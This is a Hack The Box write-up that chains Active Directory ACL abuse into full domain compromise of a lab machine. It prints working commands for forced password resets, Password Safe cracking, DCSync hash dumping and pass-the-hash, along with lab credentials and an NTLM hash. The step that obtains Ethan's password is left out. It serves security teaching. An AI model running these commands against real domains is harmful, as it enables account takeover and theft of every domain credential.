Abusing ACLs, GenericWrite, and DCSync in Active Directory — HTB Administrator

Introduction

This machine demonstrates a full Active Directory attack chain based entirely on:

• ACL Abuse
• BloodHound Analysis
• GenericAll
• ForceChangePassword
• Credential Pivoting
• GenericWrite
• DCSync

No exploit or memory corruption vulnerability was required. The compromise relied completely on abusing delegated Active Directory permissions.

Initial Enumeration

We begin with valid credentials:

Olivia : ichliebedich

Initial scan:

nmap -sC -sS -sV 10.129.180.139

Important services identified:

PortService21FTP88Kerberos389LDAP445SMB5985WinRM

The target is identified as a:

Windows Active Directory Domain Controller

RID Cycling

Enumerating domain users:

impacket-lookupsid Olivia:ichliebedich@10.129.180.139 | grep SidTypeUser

Users discovered:

Administrator
krbtgt
olivia
michael
benjamin
emily
ethan

This demonstrates:

RID Cycling

where predictable SID values allow domain user enumeration.

Verifying WinRM Access

Checking remote management access:

netexec winrm 10.129.180.139 -u Olivia -p 'ichliebedich'

Result:

administrator.htb\\Olivia (Pwn3d!)

This confirms:

Remote PowerShell Access

BloodHound Enumeration

Collecting BloodHound data:

bloodhound-python -u Olivia -p 'ichliebedich' -c All -d administrator.htb -dc dc.administrator.htb -ns 10.129.180.139

Inside BloodHound:

Olivia
    ↓ GenericAll
Michael

GenericAll Abuse

GenericAll provides full control over the target object.

We abuse it by resetting Michael’s password:

rpcclient -U "olivia%ichliebedich" 10.129.180.139 -c "setuserinfo2 MICHAEL 23 12345678"

Now we control:

Michael

ForceChangePassword Abuse

BloodHound reveals:

Michael
    ↓ ForceChangePassword
Benjamin

Resetting Benjamin’s password:

rpcclient -U "Michael%12345678" 10.129.180.139 -c "setuserinfo2 BENJAMIN 23 12345678"

Now we control:

Benjamin

FTP Enumeration

Using Benjamin’s credentials:

ftp 10.129.180.139

Interesting file discovered:

Backup.psafe3

Cracking the Password Safe Vault

Extracting the hash:

pwsafe2john Backup.psafe3 > hash

Cracking the vault:

john hash -w=/usr/share/wordlists/rockyou.txt

Recovered password:

tekieromucho

Opening the vault:

pwsafe Backup.psafe3

Inside the vault we recover credentials for:

Emily

WinRM Access as Emily

Authenticating through WinRM:

evil-winrm -i 10.129.180.139 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Successful access:

administrator.htb\\emily

GenericWrite Abuse

BloodHound reveals another ACL relationship:

Emily
    ↓ GenericWrite
Ethan

Ethan possesses:

DCSync Rights

Understanding DCSync

DCSync abuses Active Directory replication privileges.

Accounts with replication rights can request:

• NTLM hashes
• Kerberos keys
• Credential material

directly from the Domain Controller.

This effectively simulates Domain Controller replication behavior.

DCSync Abuse

Using Ethan’s credentials:

impacket-secretsdump administrator.htb/ethan:limpbizkit@10.129.180.139

Hashes successfully recovered:

Administrator NTLM Hash
KRBTGT Hash
Domain Credential Material

Important result:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e

Pass-the-Hash

Authenticating directly as Administrator:

evil-winrm -i 10.129.180.139 -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e

Successful authentication confirms:

Full Domain Administrator Compromise 🔥

Full Attack Chain

Olivia Credentials
        ↓
RID Cycling
        ↓
BloodHound Enumeration
        ↓
GenericAll → Michael
        ↓
Password Reset Abuse
        ↓
ForceChangePassword → Benjamin
        ↓
FTP Access
        ↓
Password Safe Discovery
        ↓
Vault Cracking
        ↓
Emily Credentials
        ↓
WinRM Access
        ↓
GenericWrite → Ethan
        ↓
DCSync
        ↓
Administrator Hash
        ↓
Pass-the-Hash
        ↓
Full Domain Compromise

Key AD Concepts

• Active Directory ACLs create hidden privilege escalation paths
• GenericAll equals full object compromise
• ForceChangePassword enables direct account takeover
• GenericWrite enables attribute abuse and privilege escalation
• DCSync effectively equals Domain Admin
• BloodHound is essential for visualizing ACL attack paths

Conclusion

This machine demonstrates how modern Active Directory attacks increasingly rely on:

• ACL abuse
• Delegated permissions
• Credential pivoting
• Replication privilege abuse

rather than traditional exploitation.

The entire domain compromise was achieved using legitimate Active Directory functionality exactly as designed.